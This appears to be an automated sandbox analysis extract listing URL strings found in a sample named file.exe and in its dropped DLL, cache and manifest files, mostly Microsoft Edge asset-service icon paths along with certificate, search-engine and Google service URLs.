Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_509.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2733338642.000000001D871000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741692924.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_509.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 4eb14ff2-3044-42b7-96f5-8fd4ea03ffcc.tmp.9.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2736611897.00000000238AD000.00000004.00000020.00020000.00000000.sdmp, EHCFBFBAEBKJKEBGCAEH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2736611897.00000000238AD000.00000004.00000020.00020000.00000000.sdmp, EHCFBFBAEBKJKEBGCAEH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr, EBFBFBFI.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr, EBFBFBFI.0.dr, Web Data.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 4eb14ff2-3044-42b7-96f5-8fd4ea03ffcc.tmp.9.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 4eb14ff2-3044-42b7-96f5-8fd4ea03ffcc.tmp.9.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2736611897.00000000238AD000.00000004.00000020.00020000.00000000.sdmp, EHCFBFBAEBKJKEBGCAEH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2736611897.00000000238AD000.00000004.00000020.00020000.00000000.sdmp, EHCFBFBAEBKJKEBGCAEH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr, EBFBFBFI.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr, EBFBFBFI.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2386442273.00000000012A5000.00000004.00000020.00020000.00000000.sdmp, KFIIJJJD.0.dr, EBFBFBFI.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 4eb14ff2-3044-42b7-96f5-8fd4ea03ffcc.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log9.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log9.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log10.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log9.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_509.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_509.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
